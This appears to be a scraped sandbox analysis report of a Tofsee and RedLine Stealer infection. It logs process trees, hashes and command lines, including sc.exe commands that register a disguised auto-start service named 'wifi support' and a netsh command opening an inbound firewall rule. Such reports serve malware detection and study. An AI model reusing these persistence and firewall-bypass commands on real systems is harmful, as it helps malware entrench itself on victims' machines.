Commandline: werfault.exe /h /shared Global\80ecccd770424135ad1b1b19d8526adb /t 1684 /p 1612

Imagebase: 0x7ff782940000

File size: 494488 bytes

MD5 hash: 2AFFE478D86272288BBEF5A00BBEF6A0

Has elevated privileges: true

Has administrator privileges: false

Programmed in: C, C++ or other language

Show Windows behavior

Show Windows behavior

File ActivitiesFile Activities

Start time: 12:22:22

Start date: 14/01/2022

Path: C:\Users\user\AppData\Local\Temp\D08E.exe

Wow64 process (32bit): true

Commandline: C:\Users\user\AppData\Local\Temp\D08E.exe

Imagebase: 0x400000

File size: 320000 bytes

MD5 hash: E4B33586BFDB5A9CD45F3038B8F4CCBD

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 
0000001D.00000002.410123291.0000000000630000.00000040.00000001.sdmp, Author: 
Joe Security
Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 
0000001D.00000002.409713162.0000000000400000.00000040.00020000.sdmp, Author: 
Joe Security
Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 
0000001D.00000003.383221090.0000000000650000.00000004.00000001.sdmp, Author: 
Joe Security

Antivirus matches: Detection: 100%, Joe Sandbox ML

Show Windows behavior

Start time: 12:22:26

Start date: 14/01/2022

Path: C:\Users\user\AppData\Local\Temp\E09C.exe

Wow64 process (32bit): true

Commandline: C:\Users\user\AppData\Local\Temp\E09C.exe

Imagebase: 0x6c0000

File size: 537088 bytes

MD5 hash: D7DF01D8158BFADDC8BA48390E52F355

Analysis Process: D08E.exe PID: 5640 Parent PID: 3472Analysis Process: D08E.exe PID: 5640 Parent PID: 3472

General

File CreatedFile Created

File WrittenFile Written

File ReadFile Read

Analysis Process: E09C.exe PID: 5592 Parent PID: 3472Analysis Process: E09C.exe PID: 5592 Parent PID: 3472

General
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Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Yara matches: Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 
0000001F.00000002.448023169.0000000003A31000.00000004.00000001.sdmp, Author: 
Joe Security

Antivirus matches: Detection: 100%, Avira
Detection: 100%, Joe Sandbox ML

Start time: 12:22:28

Start date: 14/01/2022

Path: C:\Windows\SysWOW64\cmd.exe

Wow64 process (32bit): true

Commandline: "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\kxbxjngj\

Imagebase: 0x150000

File size: 232960 bytes

MD5 hash: F3BDBE3BB6F734E357235F4D5898582D

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Start time: 12:22:29

Start date: 14/01/2022

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Imagebase: 0x7ff7ecfc0000

File size: 625664 bytes

MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Start time: 12:22:30

Start date: 14/01/2022

Path: C:\Windows\SysWOW64\cmd.exe

Wow64 process (32bit): true

Commandline: "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\lsjsg
slc.exe" C:\Windows\SysWOW64\kxbxjngj\

Imagebase: 0x150000

File size: 232960 bytes

MD5 hash: F3BDBE3BB6F734E357235F4D5898582D

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Analysis Process: cmd.exe PID: 5824 Parent PID: 5640Analysis Process: cmd.exe PID: 5824 Parent PID: 5640

General

Analysis Process: conhost.exe PID: 5840 Parent PID: 5824Analysis Process: conhost.exe PID: 5840 Parent PID: 5824

General

Analysis Process: cmd.exe PID: 644 Parent PID: 5640Analysis Process: cmd.exe PID: 644 Parent PID: 5640

General
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Start time: 12:22:33

Start date: 14/01/2022

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Imagebase: 0x7ff7ecfc0000

File size: 625664 bytes

MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Start time: 12:22:33

Start date: 14/01/2022

Path: C:\Windows\SysWOW64\sc.exe

Wow64 process (32bit): true

Commandline: C:\Windows\System32\sc.exe" create kxbxjngj binPath= "C:\Windows\SysWOW64\kxbxjn
gj\lsjsgslc.exe /d\"C:\Users\user\AppData\Local\Temp\D08E.exe\"" type= own start= auto Dis
playName= "wifi support

Imagebase: 0xe10000

File size: 60928 bytes

MD5 hash: 24A3E2603E63BCB9695A2935D3B24695

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Start time: 12:22:34

Start date: 14/01/2022

Path: C:\Windows\System32\svchost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\System32\svchost.exe -k netsvcs -p

Imagebase: 0x7ff797770000

File size: 51288 bytes

MD5 hash: 32569E403279B3FD2EDB7EBD036273FA

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Start time: 12:22:34

Start date: 14/01/2022

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Analysis Process: conhost.exe PID: 2960 Parent PID: 644Analysis Process: conhost.exe PID: 2960 Parent PID: 644

General

Analysis Process: sc.exe PID: 3296 Parent PID: 5640Analysis Process: sc.exe PID: 3296 Parent PID: 5640

General

Analysis Process: svchost.exe PID: 5852 Parent PID: 556Analysis Process: svchost.exe PID: 5852 Parent PID: 556

General

Analysis Process: conhost.exe PID: 6072 Parent PID: 3296Analysis Process: conhost.exe PID: 6072 Parent PID: 3296

General
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Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Imagebase: 0x7ff7ecfc0000

File size: 625664 bytes

MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Start time: 12:22:35

Start date: 14/01/2022

Path: C:\Windows\SysWOW64\sc.exe

Wow64 process (32bit): true

Commandline: C:\Windows\System32\sc.exe" description kxbxjngj "wifi internet conection

Imagebase: 0xe10000

File size: 60928 bytes

MD5 hash: 24A3E2603E63BCB9695A2935D3B24695

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Start time: 12:22:35

Start date: 14/01/2022

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Imagebase: 0x7ff7ecfc0000

File size: 625664 bytes

MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Start time: 12:22:36

Start date: 14/01/2022

Path: C:\Windows\SysWOW64\sc.exe

Wow64 process (32bit): true

Commandline: "C:\Windows\System32\sc.exe" start kxbxjngj

Imagebase: 0xe10000

File size: 60928 bytes

MD5 hash: 24A3E2603E63BCB9695A2935D3B24695

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Analysis Process: sc.exe PID: 6080 Parent PID: 5640Analysis Process: sc.exe PID: 6080 Parent PID: 5640

General

Analysis Process: conhost.exe PID: 3228 Parent PID: 6080Analysis Process: conhost.exe PID: 3228 Parent PID: 6080

General

Analysis Process: sc.exe PID: 6532 Parent PID: 5640Analysis Process: sc.exe PID: 6532 Parent PID: 5640

General
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Start time: 12:22:37

Start date: 14/01/2022

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Imagebase: 0x7ff7ecfc0000

File size: 625664 bytes

MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Start time: 12:22:37

Start date: 14/01/2022

Path: C:\Windows\SysWOW64\netsh.exe

Wow64 process (32bit): true

Commandline: "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for servi
ces of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" en
able=yes>nul

Imagebase: 0x11f0000

File size: 82944 bytes

MD5 hash: A0AA3322BB46BBFC36AB9DC1DBBBB807

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Start time: 12:22:37

Start date: 14/01/2022

Path: C:\Windows\SysWOW64\kxbxjngj\lsjsgslc.exe

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\kxbxjngj\lsjsgslc.exe /d"C:\Users\user\AppData\Local\Temp\D0
8E.exe"

Imagebase: 0x400000

File size: 11710976 bytes

MD5 hash: 12C7D1AC6B5167E6CDA092CD7B7313A1

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 
0000002E.00000002.415135073.0000000000400000.00000040.00020000.sdmp, Author: 
Joe Security
Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 
0000002E.00000002.415825820.0000000000630000.00000040.00000001.sdmp, Author: 
Joe Security
Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 
0000002E.00000002.416108101.0000000000700000.00000004.00000001.sdmp, Author: 
Joe Security
Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 
0000002E.00000003.412586963.0000000000650000.00000004.00000001.sdmp, Author: 
Joe Security

Analysis Process: conhost.exe PID: 6508 Parent PID: 6532Analysis Process: conhost.exe PID: 6508 Parent PID: 6532

General

Analysis Process: netsh.exe PID: 6692 Parent PID: 5640Analysis Process: netsh.exe PID: 6692 Parent PID: 5640

General

Analysis Process: lsjsgslc.exe PID: 6760 Parent PID: 556Analysis Process: lsjsgslc.exe PID: 6760 Parent PID: 556

General
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